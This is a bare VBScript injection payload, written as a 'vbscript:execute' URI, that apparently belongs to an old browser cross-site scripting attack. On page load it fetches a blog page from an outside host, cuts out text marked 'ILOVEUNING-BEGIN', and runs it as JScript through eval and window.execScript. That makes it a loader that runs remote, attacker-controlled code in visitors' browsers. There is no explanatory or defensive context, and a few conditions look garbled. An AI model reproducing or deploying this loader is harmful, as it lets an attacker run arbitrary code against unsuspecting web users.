vbscript:execute(" 
dim l,s: 
l=chr(13)+chr(10): 
s=""sub mycode""l: 
s=s""dim http,url,pg,p,p2,cd,ht,o""l: 
s=s""url=""""http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""l: 
s=s""set http=createobject(""""Microsoft.XMLHTTP"""")""l: 
s=s""http.open """"get"""",url,false""l: 
s=s""http.send("""""""")""l: 
s=s""pg=http.responseText""l: 
s=s""p=instr(1,pg,""""ILOVEUNING-BEGIN"""")""l: 
s=s""if p=null or p1 then exit sub""l: 
s=s""p=instr(p,pg,chr(37))""l: 
s=s""if p=null or p1 then exit sub""l: 
s=s""p2=instr(p,pg,chr(60))""l: 
s=s""cd=mid(pg,p,p2-p)""l: 
s=s""ht=""""eval(unescape('""""cd""""'))""""""l: 
s=s""window.execScript ht,""""jscript""""""l: 
s=s""end sub""l: 
execute(s): 
document.body.onload=getref(""mycode""): 
")